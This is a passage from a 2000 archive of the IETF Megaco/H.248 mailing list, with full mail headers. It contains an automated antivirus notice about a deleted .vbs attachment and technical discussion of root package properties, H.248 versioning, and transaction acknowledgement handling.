          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95681@standards.nortelnetworks.com>; Tue, 19 Sep 2000
          20:31:30 -0400
Received: by ims001.dcat.ops.broadbandoffice.net with Internet Mail Service
          (5.5.2650.21) id <SZF991VT>; Tue, 19 Sep 2000 20:45:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0229C.09E885D0"
Message-ID:  <EBCC089FC046D4119534009027E2981804AB4A@ims001.dcat.ops.broadbandoffice.net>
Date:         Tue, 19 Sep 2000 20:45:13 -0400
Reply-To: ANTIGEN_IMS001@EXCHANGE.BBO.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: ANTIGEN_IMS001@EXCHANGE.BBO.COM
Subject:      Antigen found =*.vbs file
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0229C.09E885D0
Content-Type: text/plain

Antigen for Exchange found Very Funny.vbs matching =*.vbs file filter.
The file is currently Deleted.  The message, "     fwd: Joke", was
sent from Mehul Shah  and was discovered in IMC Queues\Inbound
located at BBO/DCA/IMS001.

------_=_NextPart_001_01C0229C.09E885D0
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2650.12">
<TITLE>Antigen found =*.vbs file</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Antigen for Exchange found Very Funny.vbs matching =*.vbs file filter.</FONT>
<BR><FONT SIZE=2>The file is currently Deleted.&nbsp; The message, &quot;&nbsp;&nbsp;&nbsp;&nbsp; fwd: Joke&quot;, was</FONT>
<BR><FONT SIZE=2>sent from Mehul Shah&nbsp; and was discovered in IMC Queues\Inbound</FONT>
<BR><FONT SIZE=2>located at BBO/DCA/IMS001.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0229C.09E885D0--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 03:09:51 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA15714
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 03:09:51 -0400 (EDT)
Received: from standards (47.234.32.16:3322) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9582D@standards.nortelnetworks.com>; Wed, 20 Sep 2000 2:54:18 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17949 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 02:54:18 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9582C@standards.nortelnetworks.com>; Wed, 20 Sep 2000
          2:54:18 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <R7NDC49W>;
          Wed, 20 Sep 2000 10:07:12 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1252"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABCE@MAIL-IN>
Date:         Wed, 20 Sep 2000 10:07:12 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Re: Properties in packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi

Sorry, my question wasn't clear enough. I will try again:

The current root package in Annex E defines 5 properties:

- MaxNrOfContexts
- MaxTerminationsPerContext
- normalMGExecutionTime
- normalMGCExecutionTime
- ProvisionalResponseTimeValue

For the second one, (MaxTerminationsPerContext) it is stated:
'Defined in: TerminationState'

This properties are something that the MG and MGC should nagotiate between
tham. For example, MaxNrOfContexts should be the lowest value between the MG
and MGC default values. So what I would like to know is:

1. Are all those five properties will be sent in the TerminationState
descriptor?
2. Is there any meaning in getting a new value for a specific termination,
or should this values be modified only for the NULL context and ROOT
termination?

thenks
Nurit

-----Original Message-----
From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
Sent: Tuesday, September 19, 2000 3:49 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Properties in packages


Root has packages implemented on it, which define the properties.
In Annex E, there is only one package defined on root, which has one
property.
It's possible (likely) that additional packages will be defined that add
properties to root, if implemented on a particular gateway.

Brian

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Tuesday, September 19, 2000 10:43 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Properties in packages
>
>
> Hi
>
> Can anyone tell me where the properties from the 'root'
> package should be
> defined? the only one that has a specific definition is the
> MaxTerminationsPerContext property. (In TerminationState).
>
> Best regards
>
> Nurit Shenhar
> AudioCodes Ltd.
> Direct: +972-3-539-4155
> Tel:     +972-3-539-4000
> Fax:    +972-3-539-4040
> email:  nurit.shenhar@audiocodes.com
>
> web:    <http://www.audiocodes.com>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 03:17:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA15786
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 03:17:30 -0400 (EDT)
Received: from standards (47.234.32.16:3322) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9584B@standards.nortelnetworks.com>; Wed, 20 Sep 2000 3:01:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17945 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 03:01:45 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95828@standards.nortelnetworks.com>; Wed, 20 Sep 2000 2:51:44
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8K75QZ27594; Wed, 20 Sep 2000 09:05:26 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          JAA07922; Wed, 20 Sep 2000 09:05:21 +0200 (MET DST)
Received: from ericsson.com ([130.100.249.241]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id JAA12739; Wed, 20 Sep 2000
          09:05:16 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com> <39C03FBC.A1E17DDF@cisco.com>
            <39C05E5F.674A9443@ericsson.com> <39C57459.13409C67@cisco.com>
            <39C66D0C.25CEB48E@ericsson.com> <39C77F83.2D3D3E5B@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C860AC.D6F18A82@ericsson.com>
Date:         Wed, 20 Sep 2000 18:01:00 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      H248v1 formerly Re: H.248v2 [was Re: Can MGC modify term in NULL
              Context ?]
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Flemming,

I don't see why you have a hard time following this logic.

The work on H248v2 has just started. No one has been excluded from this,
especially the IETF. The Working Group Chair was at the SG16 meeting
where this occured. I believe that its a decision for the IETF if it
wants to be involved. I gather some sort of charter change would be
required.

We have probably at least 14 months before we decide on H248v2 so there
is plenty of scope for other parties to be involved and the logistics of
this involvement sorted out.

Regards, Christian

Flemming Andreasen wrote:
>
> Christian Groves wrote:
>
> > G'Day Flemming,
> >
> > No there will be one protocol(H.248, Megaco) with 2 versions. Version 2
> > following version 1. Version 2 work is just starting and will go
> > probably for another year thus giving "the ink" plenty of time to dry
> > before we have version 2 ready. No body has been from giving input to
> > this work.
>
> I'm having a hard time following this logic. As we gain experience with v1, the IETF
> presumably will want to advance it to Draft and Internet standard, yet meanwhile the ITU
> will work on a successor, without the involvement of the IETF. Thus, for all practical
> purposes, you have just declared the joint v1 protocol an interim ITU-T solution as they
> move along on their own with v2. Maybe our WG chair or AD can clarify what the point with
> the cooperation was and where that leaves Megaco v1 as compared to H.248v2 ?
>
> Thanks
>
>         Flemming
>
> >
> >
> > Regards, Christian
> >
> > Flemming Andreasen wrote:
> > >
> > > The ink is barely dry on v1 and we all went through tremendous efforts to ensure that
> > > the IETF and ITU-T would develop a single protocol. Am I to understand it was a wasted
> > > effort as there now will be two protocols after all ? Where does this leave Megaco ?
> > >
> > > -- Flemming
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day Flemming,
> > > >
> > > > Its the version after H.248v1 and SG16 are working on it.
> > > >
> > > > Cheers, Christian
> > > >
> > > > Flemming Andreasen wrote:
> > > > >
> > > > > Question for clarification here:
> > > > >
> > > > > Exactly what is H.248v2 and who is working on it ?
> > > > >
> > > > > -- Flemming
> > > > >
>
> <snip>
>
> --
> Flemming Andreasen
> Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 04:49:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA16641
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 04:49:05 -0400 (EDT)
Received: from standards (47.234.32.16:2556) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95897@standards.nortelnetworks.com>; Wed, 20 Sep 2000 4:33:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18097 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 04:33:29 -0400
Received: from qhars002.nortel.com (47.101.112.102:49855) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95896@standards.nortelnetworks.com>; Wed, 20 Sep 2000
          4:33:28 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Wed, 20 Sep 2000
          09:46:53 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Wed, 20 Sep 2000 04:46:52 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Wed, 20 Sep 2000 04:46:38 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id LAA11359
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Wed, 20 Sep 2000 11:14:24
          +0300 (IDT)
Received: from tsyspc13 by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id LAA24117;
          Wed, 20 Sep 2000 11:14:22 +0300 (IDT)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_0135_01C022F3.7CB7EE00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Orig: <kohava.bentov@telrad.co.il>
Message-ID:  <013801c022e2$ba095160$6f0de28d@elex.co.il>
Date:         Wed, 20 Sep 2000 11:11:13 +0200
Reply-To: "Bentov, Kohava" <kohava.bentov@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Bentov, Kohava" <kohava.bentov@telrad.co.il>
Organization: Telrad
Subject:      Messages with different types of transactions
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_0135_01C022F3.7CB7EE00
Content-Type: text/plain;
        charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

Hi all,

   Nowadays we are dealing with the transactionResponseAck issue.
 I have questions related to this issue.=20

FIRST QUESTION
How to handle differences between the 'draft-ietf-megaco-merged-01.txt'  =

document and  RFCs 2885 & 2886 ?

In the 'draft-ietf-megaco-merged-01.txt'  doc, there was an optional =
field
in the transactionReply that was called ImmAckRequiredToken.=20
This optional Token indicated when the sender of the reply needed =
immediate ack.

-----------------------------
transactionReply =3D ReplyToken EQUAL TransactionID LBRKT
                                [ ImmAckRequiredToken COMMA]
                             ( errorDescriptor / actionReplyList) RBRKT
........
ImmAckRequiredToken =3D ("ImmAckRequired" / "IA")=20

-----------------------------
Our parser used  this Token (in our application) to identify when an =
immediate=20
ack response was needed.=20

In RFC2885, this optional field disappeared and the Token was removed.=20
The modified declaration in the RFC is :
--------------------------------------------
transactionReply =3D ReplyToken EQUAL TransactionID LBRKT
                             ( errorDescriptor / actionReplyList) RBRKT
----------------------------------------------

In RFC2886, the following is written:

 " Resolution: add an optional field to TransactionReply allowing the
   responder to indicate if an immediate ACK is required.  Add text in
   the section indicating that when the responder has sent a provisional
   response, it shall also set the indicator in the final transaction
   reply to indicate that an immediate acknowledgement is required."

My question is:  Does it  mean that we can use the ImmAckRequiredToken=20
                          as was before ?
                          If not, what is the way to handle an =
indication of immediate=20
                          ack according  to the "Resolution..."  =
paragraph ?


SECOND QUESTION
According to the protocol, a message can consist of different types of =
transactions=20
( transactionRequest / transactionPending / transactionReply / =
transactionResponseAck).
In paragraph 9 (TRANSPORT) the following is written:

"As described in section 7.2.8, either the MG or the MGC may supply an =
address in the ServiceChangeAddress parameter to which subsequent =
transaction requests must be addressed, but responses (including the =
response to the initial ServiceChange request) must always be sent back =
to the address which was the source of the corresponding request."

From this paragraph I understand that :
   1. The transactionRequest will be sent to the ServiceChangeAddress =
parameter.
   2. The transactionReply and transactionPending will be sent to the =
address=20
       of the corresponding request.
   3. The transactionResponseAck will be send to the address of the =
reply. (it=20
       may be different from the address that the request was sent to - =
ServiceChangeAddress).=20

My question is:  As far as I understand, If I don't want to check the =
addresses each time
                          I send a messages (the addresses of each =
transaction in the message),
                          I have to send messages of three types:
                              1. meggages of transactionRequests
                              2. meggages of transactionReplies & =
transactionPendings
                              3. meggages of transactionResponseAck=20
                           Am I right ?=20


 Best regards,
    Kohava Bentov
    SW Development
    TELRAD Networks
     mail: kohava.bentov@telrad.co.il


------=_NextPart_000_0135_01C022F3.7CB7EE00
Content-Type: text/html;
        charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1255">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Nowadays we are dealing =
with the <FONT=20
face=3D"Courier New" =
size=3D2><STRONG>transactionResponseAck</STRONG></FONT>=20
issue.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;I have questions&nbsp;related to =
this=20
issue.&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><U><STRONG>FIRST =
QUESTION</STRONG></U></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>How to handle differences between the=20
'draft-ietf-megaco-merged-01.txt'&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>document and&nbsp; RFCs</FONT><FONT =
face=3DArial=20
size=3D2>&nbsp;2885 &amp; 2886 ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In the=20
'draft-ietf-megaco-merged-01.txt'&nbsp;&nbsp;doc, there was=20
an&nbsp;optional&nbsp;field</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>in the <FONT face=3D"Courier New"=20
size=3D2>transactionReply</FONT>&nbsp;</FONT><FONT face=3DArial =
size=3D2>that was=20
called <FONT face=3D"Courier New" =
size=3D2><STRONG>ImmAckRequiredToken</STRONG>.=20
</FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>This optional Token indicated when the =
sender of=20
the reply&nbsp;needed immediate ack.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial =
size=3D2>-----------------------------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>transactionReply =3D&nbsp;ReplyToken =
EQUAL=20
TransactionID LBRKT</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
[ ImmAckRequiredToken COMMA]</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
( errorDescriptor / actionReplyList) RBRKT</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>........</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT size=3D2><FONT=20
face=3D"Courier New">ImmAckRequiredToken =3D ("ImmAckRequired" / "IA") =
</FONT></DIV>
<P><FONT face=3D"Courier New"></FONT></P></FONT>
<DIV>-----------------------------</DIV>
<DIV>Our parser used &nbsp;this Token (in our application) to identify =
when an=20
immediate </DIV>
<DIV>ack response was needed. </DIV>
<DIV>&nbsp;</DIV>
<DIV>In RFC2885, this optional field disappeared and the Token was =
removed.=20
</DIV>
<DIV>The modified declaration in the RFC is :</DIV>
<DIV>--------------------------------------------</DIV>
<DIV>
<DIV><FONT face=3DArial size=3D2>transactionReply =3D&nbsp;ReplyToken =
EQUAL=20
TransactionID LBRKT</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
( errorDescriptor / actionReplyList) RBRKT</FONT></DIV></DIV>
<DIV>----------------------------------------------</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In RFC2886, the following is =
written:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;<STRONG>"</STRONG>=20
<STRONG>Resolution:</STRONG> add an optional field to TransactionReply =
allowing=20
the<BR>&nbsp;&nbsp; responder to indicate if an immediate ACK is =
required.&nbsp;=20
Add text in<BR>&nbsp;&nbsp; the section indicating that when the =
responder has=20
sent a provisional<BR>&nbsp;&nbsp; response, it shall also set the =
indicator in=20
the final transaction<BR>&nbsp;&nbsp; reply to indicate that an =
immediate=20
acknowledgement is required."</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><STRONG>My question is:&nbsp;&nbsp;Does =

it&nbsp;&nbsp;mean that we can use the <FONT=20
face=3D"Courier New">ImmAckRequiredToken </FONT></STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
<FONT face=3DArial>as was before ?</FONT></STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
If not, what is the way to handle an indication of immediate=20
</STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
ack according&nbsp;</STRONG></FONT><FONT face=3DArial =
size=3D2><STRONG>&nbsp;to the=20
"Resolution..."&nbsp;&nbsp;paragraph ?</STRONG></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2><U><STRONG>SECOND=20
QUESTION</STRONG></U></FONT></DIV></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>According to the protocol, a message =
can consist of=20
different types of transactions </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>( transactionRequest =
/&nbsp;transactionPending /=20
transactionReply / transactionResponseAck).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>In paragraph 9 (TRANSPORT) the =
following is=20
written:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Courier New" =
size=3D2><FONT=20
face=3DArial></FONT></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Courier New" =
size=3D2><FONT=20
face=3DArial>"As described in section </FONT><FONT face=3DArial>7.2.8, =
either the MG=20
or the MGC may supply an address in the </FONT><FONT=20
face=3DArial>ServiceChangeAddress parameter to which subsequent =
transaction=20
</FONT><FONT face=3DArial>requests must be addressed, but responses =
(including the=20
response to </FONT><FONT face=3DArial>the initial ServiceChange request) =
must=20
always be sent back to the </FONT><FONT face=3DArial>address which was =
the source=20
of the corresponding request."</FONT></FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>From this paragraph I understand that=20
:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 1. The=20
<STRONG>transactionRequest</STRONG> will be sent to the =
ServiceChangeAddress=20
parameter.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 2. The=20
<STRONG>transactionReply</STRONG> and =
<STRONG>transactionPending</STRONG> will=20
be sent to the address </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;of the=20
corresponding request.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; 3. The=20
<STRONG>transactionResponseAck</STRONG> will be send to the address =
<FONT=20
face=3DArial size=3D2>of the reply. (it </FONT></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; may be different from the =
address=20
that the request was sent to - ServiceChangeAddress).=20
<DIV></FONT></FONT>&nbsp;</DIV></DIV>
<DIV><FONT face=3DArial size=3D2><FONT face=3D"Courier New" =
size=3D2><FONT face=3DArial>
<DIV><FONT face=3DArial size=3D2><STRONG>My question is:&nbsp;&nbsp;As =
far as I=20
understand, If I don't want to check the addresses each=20
time</STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
&nbsp;I send a messages (the addresses of each transaction in the=20
message),</STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
I have to send messages of three types:</STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; 1. meggages of =
transactionRequests</STRONG></FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. meggages of =
transactionReplies=20
&amp; transactionPendings</STRONG></FONT></DIV>
<DIV><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
3. meggages of transactionResponseAck</STRONG> </DIV>
<DIV><STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;=20
Am I right ? </STRONG></FONT></FONT></FONT></DIV></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;Best regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Kohava =
Bentov</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; SW =
Development</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; TELRAD =
Networks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; mail: <A=20
href=3D"mailto:kohava.bentov@telrad.co.il">kohava.bentov@telrad.co.il</A>=
<BR></DIV></FONT></BODY></HTML>

------=_NextPart_000_0135_01C022F3.7CB7EE00--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 20 08:44:34 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA20979
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 20 Sep 2000 08:44:30 -0400 (EDT)
Received: from standards (47.234.32.16:4152) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9595A@standards.nortelnetworks.com>; Wed, 20 Sep 2000 8:28:46 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 18359 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 20 Sep 2000 08:28:46 -0400
